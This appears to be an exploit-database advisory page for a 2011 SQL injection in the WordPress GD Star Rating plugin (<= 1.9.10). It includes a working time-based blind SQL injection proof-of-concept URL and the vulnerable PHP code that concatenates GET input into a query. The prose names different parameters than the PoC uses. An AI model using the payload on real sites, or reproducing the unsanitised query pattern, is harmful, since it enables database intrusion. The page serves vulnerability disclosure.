header-logo
Suggest Exploit
vendor:
GD Star Rating
by:
Miroslav Stampar
8,8
CVSS
HIGH
SQL Injection
89
CWE
Product Name: GD Star Rating
Affected Version From: 1.9.10
Affected Version To: 1.9.10
Patch Exists: YES
Related CWE: N/A
CPE: a:wordpress:gd_star_rating
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: None
2011

WordPress GD Star Rating plugin <= 1.9.10 SQL Injection Vulnerability

The vulnerability exists due to insufficient sanitization of user-supplied input in the 'ex' and 'us' parameters of the 'export.php' script. A remote attacker can send a specially crafted request to the vulnerable script and execute arbitrary SQL commands in the application's database, caused by the use of the 'sprintf()' function with user-supplied input in the 'export_users()' method of the 'GDSRExport' class. This can be exploited to bypass authentication and gain access to the application.

Mitigation:

Update to version 1.9.11 or later.
Source

Exploit-DB raw data:

# Exploit Title: WordPress GD Star Rating plugin <= 1.9.10 SQL Injection Vulnerability
# Date: 2011-09-26
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/gd-star-rating.zip
# Version: 1.9.10 (tested)
# Note: magic_quotes has to be turned off

---
PoC
---
http://www.site.com/wp-content/plugins/gd-star-rating/export.php?ex=user&us=dummy&de=-1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20

---------------
Vulnerable code
---------------
./export.php
    require_once("./code/cls/export.php");
    ...
    if (isset($_GET["ex"])) {
        $export_type = $_GET["ex"];
        ...
        switch($export_type) {
            case "user":
                header('Content-type: text/csv');
                header('Content-Disposition: attachment; filename="gdsr_export_'.$export_name.'.csv"');
                $sql = GDSRExport::export_users($_GET["us"], $_GET["de"], $get_data);
                $rows = $wpdb->get_results($sql, ARRAY_N);

./code/cls/export.php
    class GDSRExport {
        ...
        function export_users($user_data = "min", $data_export = "article", $get_data = array()) {
            ...
            $where = array();
            ...
            $where[] = "v.vote_type = '".$data_export."'";
            ...
            $j_where = join(" and ", $where);
            ...
            return sprintf("select %s from %s where %s order by u.id",
                    $j_select, $j_tables, $j_where);